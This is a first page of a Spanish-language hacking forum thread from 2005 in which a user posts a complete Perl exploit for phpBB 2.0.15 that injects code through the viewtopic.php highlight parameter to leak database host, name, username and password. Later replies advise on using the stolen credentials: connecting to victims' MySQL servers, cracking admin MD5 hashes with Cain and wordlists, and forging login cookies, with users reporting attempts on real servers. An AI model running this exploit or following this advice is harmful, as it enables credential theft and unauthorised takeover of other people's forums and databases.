elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 14:16  


Tema destacado: Nueva página de elhacker.net en Google+ Google+

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  phpBB 2.0.15 SQL Remote Exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: phpBB 2.0.15 SQL Remote Exploit  (Leído 3,117 veces)
parisnet

Desconectado Desconectado

Mensajes: 61


Ver Perfil WWW
phpBB 2.0.15 SQL Remote Exploit
« en: 9 Julio 2005, 17:17 »

Código:
#!/usr/bin/perl

# **************************************************************
#**
#** phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability
#** This exploit gives the user all the details about the database
#** connection such as database host, username, password and
#** database name.
#**
#** Written by SecureD, gvr.secured<AT>gmail<DOT>com,2005
#**
#** Greetings to GvR, Jumento, PP, CKrew & friends
#**
# **************************************************************

use IO::Socket;

print "+-----------------------------------------------------------------------+\r\n";
print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";
print "| By SecureD gvr.secured<AT>gmail<DOT>com |\r\n";
print "+-----------------------------------------------------------------------+\r\n";

if (@ARGV < 3)
{
print "Usage:\r\n";
print "phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING\r\n\r\n";
print "SERVER - Server where PhpBB is installed.\r\n";
print "DIR - PHPBB directory or / for no directory.\r\n";
print "THREADID - Id of an existing thread.\r\n";
print "COOKIESTRING - Optional, cookie string of the http request.\r\n";
print " Use this when a thread needs authentication for viewing\r\n";
print " You can use Firefox in combination with \"Live HTTP\r\n";
print " Headers\" to get this cookiestring.\r\n\r\n";
print "Example 1 (with cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22
autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22
userid%22%3Bs%3A1%3A%222%22%3B%7D;
phpbb2mysql_sid=10dae92b780914332896df43808c4e09\" \r\n\r\n";
print "Example 2 (without cookiestring):\r\n";
print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 20 \r\n";
exit();
}

$serv = $ARGV[0];
$dir = $ARGV[1];
$threadid = $ARGV[2];
$cookie = $ARGV[3];

$serv =~ s/http:\/\///ge;
$delimit = "GvRSecureD";

$sploit = $dir . "viewtopic.php?t=";
$sploit .= $threadid;
$sploit .= "&highlight='.printf($delimit.";
$sploit .= "\$dbhost.";
$sploit .= "$delimit.";
$sploit .= "\$dbname.";
$sploit .= "$delimit.";
$sploit .= "\$dbuser.";
$sploit .= "$delimit.";
$sploit .= "\$dbpasswd.";
$sploit .= "$delimit).'";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")
or die "[+] Connecting ... Could not connect to host.\n\n";

print "[+] Connecting OK\n";
sleep(1);

print "[+] Sending exploit ";
print $sock "GET $sploit HTTP/1.1\r\n";
print $sock "Host: $serv\r\n";
if ( defined $cookie) {
print $sock "Cookie: $cookie \r\n";
}
print $sock "Connection: close\r\n\r\n";


$succes = 0;

while ($answer = <$sock>) {
$delimitIndex = index $answer, $delimit;
if ($delimitIndex >= 0) {
$succes = 1;
$urlIndex = index $answer, "href";
if ($urlIndex < 0){
$answer = substr($answer, length($delimit));
$length = 0;
while (length($answer) > 0) {
$nex = index($answer, $delimit);
if ($nex > 0) {
push(@array, substr($answer, 0, $nex));
$answer = substr($answer, $nex + length($delimit), length($answer));
} else {
$answer= "";
}
}
}
}
}

close($sock);

if ($succes == 1) {
print "OK\n";
sleep(1);
print "[+] Database Host: " . $array[0] . "\n";
sleep(1);
print "[+] Database Name: " . $array[1] . "\n";
sleep(1);
print "[+] Username: " . $array[2] . "\n";
sleep(1);
print "[+] Password: " . $array[3] . "\n";
sleep(1);
} else {
print "FAILED\n";
}

Funciona perfecto... Ahora el problema es como usar esta data, desde donde intentar conectar a la database sql?? Y Robar los password de Admin (cifrados en md5??)

Algun experimentado por aqui??
En línea

Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #1 en: 9 Julio 2005, 20:49 »

Puedes crear una pagina en php que se conecte a esa basde de datos y recoja la informacion que quieras.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
parisnet

Desconectado Desconectado

Mensajes: 61


Ver Perfil WWW
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #2 en: 10 Julio 2005, 19:02 »

O sea que tengo que contar con un servidor host que de php... E instalar el MySql? Me podrias decir algun PHP alternativo para conectar....

Y el tema de los passwords de PhpBB en la base de datos, estan cifrados, como los descifro?
En línea

Jec


Desconectado Desconectado

Mensajes: 1.150


Not-Public


Ver Perfil WWW
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #3 en: 10 Julio 2005, 19:07 »

lo de hacer conexiones no se, igual y se podria con un cliente sql...
estan cifrados en md5, hay muchos programas que lo desencriptan, como por ejemplo el Cain...

Es mejor crear la cookie con el md5 y entrar al foro, es más rapido  ::) un saludo
En línea

Conthackto.com.mx
parisnet

Desconectado Desconectado

Mensajes: 61


Ver Perfil WWW
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #4 en: 12 Julio 2005, 01:54 »

Gracias ;D
En línea

Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #5 en: 12 Julio 2005, 01:57 »

El md5 no se descifra , se crackea.

Deben de aprenderse eso  :P
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
jujaLVP

Desconectado Desconectado

Mensajes: 211


llega la batalla y contra el estalla ...


Ver Perfil
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #6 en: 13 Julio 2005, 05:21 »

como es eso que el md5 no se descifra, se crackea?¿

como se crackea?¿


saludos
En línea
Crack_X
Anti-War
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.320


Peace & Love


Ver Perfil WWW
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #7 en: 13 Julio 2005, 05:31 »

Es un hash , sus algoritmos no son reversibles por lo tanto no se desencriptan. Se crackean intentando contraseñas que den el mismo hash como resultado.

Usa el buscador del foro que hay mucha info acerca de md5.
En línea

Shit loads of money spend to show us wrong from right. Say no to war


Yasser Has Things To Say
WarZone
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #8 en: 13 Julio 2005, 17:38 »

usad el cain con wordlists, da buenos resultados.
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
parisnet

Desconectado Desconectado

Mensajes: 61


Ver Perfil WWW
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #9 en: 13 Julio 2005, 19:49 »

Hoy baje el programa "MySQL Administrator" un cliente, puse todos los datos para conectar a la base de datos, pero me dice que mi ip no esta admitida para establecer conexiones.. :(
En línea

Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #10 en: 14 Julio 2005, 10:35 »

Hoy baje el programa "MySQL Administrator" un cliente, puse todos los datos para conectar a la base de datos, pero me dice que mi ip no esta admitida para establecer conexiones.. :(

Quizas es porque el servidor rechaza conexiones no locales, por seguridad, ya que hacerse con el tipico config.php es "relativamente" facil.
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
Robin

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #11 en: 5 Agosto 2005, 19:19 »

Hay alguna otra manera de entar a la base de datos..
el exploit funciona y tengo el el db users y pass pero ya trate con diferentes programas y mysq y me dice que el servidor no acepa concecciones,. tambien intente con un ssh tunnel y no pude hacer nada..
en otras palabaras el exploit funciona pero es obsoleto porque no hay manera de entar al server


robin
En línea
SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #12 en: 7 Agosto 2005, 03:11 »

MySQL-Front buscalo en google.... yo lo uso.
En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
Robin

Desconectado Desconectado

Mensajes: 18


Ver Perfil
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #13 en: 17 Agosto 2005, 15:56 »

nope!

Mysql-front no funciona para entar al mysql ,dice que la conexión esta siendo rechazada...

mmmm,... debe haber una manear para entar...

alguien tiene otras ideas...
talvez un spript en perl.?

En línea
j0se

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: phpBB 2.0.15 SQL Remote Exploit
« Respuesta #14 en: 17 Agosto 2005, 18:00 »

Pues he usado este exploit, y lo único qe me saca es esto:
  • Connecting OK
  • Sending exploit OK
  • Database Host:
  • Database Name:
  • Username:
  • Password:
del sending para abajo lo pone todo blanco ;(
En línea
Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines